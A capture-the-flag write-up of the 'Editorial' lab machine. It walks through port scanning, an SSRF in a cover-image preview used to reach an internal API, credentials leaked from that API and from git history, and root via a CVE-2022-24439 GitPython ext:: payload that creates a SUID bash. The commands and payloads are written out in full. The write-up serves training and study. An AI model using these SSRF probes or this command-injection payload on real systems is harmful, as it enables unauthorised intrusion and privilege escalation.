Editorial

Overview

Editorial is an Easy Linux box that's basically a tour of "don't trust user-supplied URLs." The foothold is an SSRF in a book-cover upload feature that lets me pivot from the public site to an internal API on localhost, which leaks a set of dev credentials. From there, some old git history that was deleted from disk but not from .git gives up a second set of creds for a prod user. Root is a sudo rule around a Python script that clones a git repo from a user-supplied URL — vulnerable to CVE-2022-24439 in GitPython, which turns the ext:: git protocol into arbitrary command execution.

Editorial

Reconnaissance

Standard full port sweep first, then a version scan on whatever comes back:

nmap -sCV -p- -T4 -v <IP> -oN nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb

Only two ports open. Port 80 redirects to editorial.htb, so that goes in /etc/hosts:

echo "<IP> editorial.htb" | sudo tee -a /etc/hosts

Web Enumeration

The site is a small Flask app sitting behind nginx (worth remembering for later — Flask apps often ship a dev server on some internal port).
Editorial

A quick directory brute force turns up a few paths worth a look:

ffuf -u http://editorial.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://editorial.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 8577, Words: 1774, Lines: 177, Duration: 118ms]
about                   [Status: 200, Size: 2939, Words: 492, Lines: 72, Duration: 138ms]
upload                  [Status: 200, Size: 7140, Words: 1952, Lines: 210, Duration: 115ms]
                        [Status: 200, Size: 8577, Words: 1774, Lines: 177, Duration: 112ms]

/upload is a "publish a book" form that, alongside title/author fields, takes a URL for the book's cover image. There are two buttons: "Preview" and "Send book info." Preview is the interesting one — it makes the app fetch whatever URL I give it and renders the result back.

Image description

Pointing "Preview" at something I control (e.g. a Python HTTP server) confirms the server-side fetch and shows the request comes from python-requests/2.25.1 — so this is Python's requests library doing the fetching server-side, not a browser.

python3 -m http.server 8000
<TARGET_IP> - - [.] "GET / HTTP/1.1" 200 -
User-Agent: python-requests/2.25.1

That's a textbook SSRF: user-supplied URL, fetched server-side, response reflected back to me.

SSRF → Internal Port Discovery

when monitoring the traffic going through the /upload-cover it looks like once the file is uploaded the server returns the localtion of the file on the server which will help us next find the right internal port
Image description

Since the app will fetch anything I ask it to, I can use it to probe localhost from the server's own perspective. I captured the "Preview" request in Burp and saved it as a template, then fuzzed the port in the target URL:

seq 1 65535 > ports.txt    
ffuf -c -w ./ports.txt -request request.raw -u http://editorial.htb/upload-cover  

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: /home/kali/HTB/Editorial/ports.txt
 :: Header           : Accept: */*
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Content-Type: multipart/form-data; boundary=----geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
 :: Header           : Connection: keep-alive
 :: Header           : Origin: http://editorial.htb
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Priority: u=0
 :: Header           : Host: editorial.htb
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
 :: Data             : ------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookurl"

http://localhost:FUZZ
------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff--

 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

35                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 113ms]
29                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 116ms]
27                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 116ms]
30                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 114ms]
10                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 117ms]
36                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 120ms]
7                       [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 122ms]
40                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 124ms]
33                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 124ms]
6                       [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 127ms]
4                       [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 131ms]
37                      [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 140ms]

so next we filter with size and we get a valid port :

 ffuf -c -w ./ports.txt -request request.raw -u http://editorial.htb/upload-cover -fs 61        

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: /home/kali/HTB/Editorial/ports.txt
 :: Header           : Host: editorial.htb
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
 :: Header           : Accept: */*
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Content-Type: multipart/form-data; boundary=----geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
 :: Header           : Origin: http://editorial.htb
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Priority: u=0
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Connection: keep-alive
 :: Data             : ------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookurl"

http://localhost:FUZZ
------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff--

 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 61
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 185ms]

Port 5000 an internal Flask API listening on 127.0.0.1:5000 that isn't exposed externally.

Leaking Credentials from the Internal API

Pointing the SSRF at http://127.0.0.1:5000/ returns what looks like API documentation in JSON. Walking the documented paths through the same SSRF eventually lands on:

http://127.0.0.1:5000/api/latest/metadata/messages/authors
>>>
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

which leaks a set of what look like template/example credentials sitting in the API response:

username: dev
password: dev080217_devAPI!@

Foothold — dev

Those creds work over SSH:

sshpass -p 'dev080217_devAPI!@' ssh dev@editorial.htb
dev@editorial:~$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)

User flag grabbed at /home/dev/user.txt.
dance

Lateral Movement — dev → prod

Poking around dev's home directory turns up a git repo at ~/apps/.git. Running git log shows more commits than there are files currently on disk — always worth checking when files look like they've been "cleaned up":

dev@editorial:~/apps/.git$ git log -p
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb 
............................................
............................................
..............................................
@@ -64,7 +64,7 @@ def index():
 @app.route(api_route + '/authors/message', methods=['GET'])
 def api_mail_new_authors():
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
     }) 

Even though the current working tree only shows the dev credentials, the old prod ones are sitting right there in history. su as prod:

su prod

Privilege Escalation — prod → root

sudo -l for prod shows a specific script can be run as root:

$ sudo -l
User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

The script takes a URL argument and clones it with GitPython:

url_to_clone = sys.argv[1]
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Checking the installed GitPython version:

pip freeze | grep -i git
GitPython==3.1.29

That version, combined with protocol.ext.allow=always being force-enabled, is exactly the setup for CVE-2022-24439
yescat

git's ext:: transport protocol lets you specify an arbitrary command to run instead of a real remote, and GitPython here doesn't stop the caller from setting protocol.ext.allow. Since the clone URL is fully attacker-controlled, that's command execution as root.

so i created this small command and run it :

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/bash;chmod% 4777% /tmp/bash'
$ /tmp/bash -p
# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)
# cat /root/root.txt

iamroot

Takeaways

  • Any feature that fetches a user-supplied URL server-side (image previews, webhooks, "import from URL") is a potential SSRF — use it to probe internal-only ports and services.
  • git log/git diff on an app's repo can resurrect "deleted" secrets that never actually left history.
  • Pinned dependency versions matter: GitPython 3.1.29 + an over-permissive protocol.ext.allow config turns a "safe-looking" clone helper into root RCE (CVE-2022-24439).

spidey

← More Machines